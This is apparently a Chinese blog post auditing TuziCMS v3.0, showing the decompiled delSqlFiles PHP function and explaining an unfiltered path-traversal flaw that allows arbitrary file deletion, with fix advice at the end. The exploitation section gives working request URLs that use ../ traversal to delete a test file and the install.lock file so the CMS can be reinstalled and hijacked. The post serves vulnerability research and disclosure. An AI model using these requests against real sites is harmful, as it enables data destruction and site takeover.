【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备
TuziCMS官网:http://www.tuzicms.com/
网站源码版本:TuziCMS_v3.0_20161220
程序源码下载:http://www.tuzicms.com/index.php/download
测试网站首页:

0x01 代码分析
1、漏洞文件位置:
\tuzicms\App\Manage\Controller\DatabaseController.class.php 第284-314行:
(由于部分TuziCMS 采用zend解密,可使用如下在线工具进行代码还原。
php混淆加密在线还原:http://dezend.qiling.org/free/)
- public function delSqlFiles()
- {
- $id = $_SESSION["id"];
- $m = manage\controller\d("Admin");
- $arr = $m->find($id);
- $arr = $arr["admin_type"];
- if ($arr == 1) {
- $this->error("你不是超级管理员,没有限权!");
- 10. }
- 11.
- 12. $id = manage\controller\i("id", 0, "intval");
- 13. $batchFlag = manage\controller\i("get.batchFlag", 0, "intval");
- 14.
- 15. if ($batchFlag) {
- 16. $files = manage\controller\i("key", array());
- 17. }
- 18. else {
- 19. $files[] = manage\controller\i("sqlfilename", "");
- 20. }
- 21.
- 22. if (empty($files)) {
- 23. $this->error("请选择要删除的sql文件");
- 24. }
- 25.
- 26. foreach ($files as $file ) {
- 27. manage\controller\unlink($this->getDbPath() . "/" . $file);
- 28. }
- 29.
- 30. $this->success("已删除:" . manage\controller\implode(",", $files), manage\controller\u("Database/restore"));
31. }
这段删除文件的函数中,首先进行权限判断,接着将获取到sqlfilename参数带入unlink函数中进行删除操作,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lck进行CMS重装,劫持网站数据库。
0x02 漏洞利用
1、在网站根目录新建一个test.txt文件,作为任意文件删除漏洞测试:
http://127.0.0.1/index.php?s=/Manage/Database/delSqlFiles/sqlfilename/..\\..\..\\test.txt

2、使用..进行目录跳转,通过构造URL删除根目录下的测试文件。

3、进一步利用,删除安装目录下的install.lock,进行CMS重装,劫持网站数据。
http://127.0.0.1/index.php?s=/Manage/Database/delSqlFiles/sqlfilename/..\\..\..\\Install\\install.lock

0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){ $arr=array(); $ ...
- Wordpress4.9.6 任意文件删除漏洞复现分析
第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...
随机推荐
- 线段树 + 区间更新 + 模板 ---- poj 3468
A Simple Problem with Integers Time Limit: 5000MS Memory Limit: 131072K Total Submissions: 59798 ...
- android尺子的自定义view——RulerView
项目中用到自定义尺子的样式: 原代码在github上找的,地址:https://github.com/QQabby/HorizontalRuler 原效果为 因为跟自己要使用的view稍有不同 所以 ...
- 一圖讓你看懂javascript原型鏈
每個對象的原型(protype)是一個對象 每個對象都有一個內置屬性protype(__pro__)指向一個對象
- jQuery 时间控件推荐
My97DatePicker My97DatePicker是一个更全面,更人性化,并且速度一流的日期选择控件.具有强大的日期范围限制功能:自定义事件和丰富的API库:多语言支持和自定义皮肤支持:跨无 ...
- 网络中TCP、IP、MAC、UDP的头部格式信息
TCP头部格式 字段名称 长度(比特) 含义 TCP头部(20字节~) 发送方端口号 16 发送网络包的程序的端口号 接收方端口号 16 网络包的接收方程序的端口号 序号(发送数据的顺序编号) 32 ...
- Java如何使用重载方法处理异常?
在Java编程中,如何使用重载方法处理异常? 此示例显示如何使用重载方法来处理异常.需要在每个方法中使用try catch块. package com.yiibai; public class Exc ...
- e613. Modifying the Focus Traversal Order
JFrame frame = new JFrame(); JButton component1 = new JButton("1"); JButton component2 = n ...
- 一个 JAR 文件可以用于
用于发布和使用类库 作为应用程序和扩展的构建单元 作为组件.applet 或者插件程序的部署单位 用于打包与组件相关联的辅助资源 package Com.Table; import java.util ...
- javascript -- canvas绘制曲线
绘制曲线有几种思路: 1.通过quadraticCurveTo(controlX, controlY, endX, endY)方法来绘制二次曲线 2.通过bezierCurveTo(controlX1 ...
- php后台管理员权限相关表结构
admin管理员表 id int(11) 用户id username varchar(128) 用户名 password varchar(128) 管理员密码 name varchar(50) 管理员 ...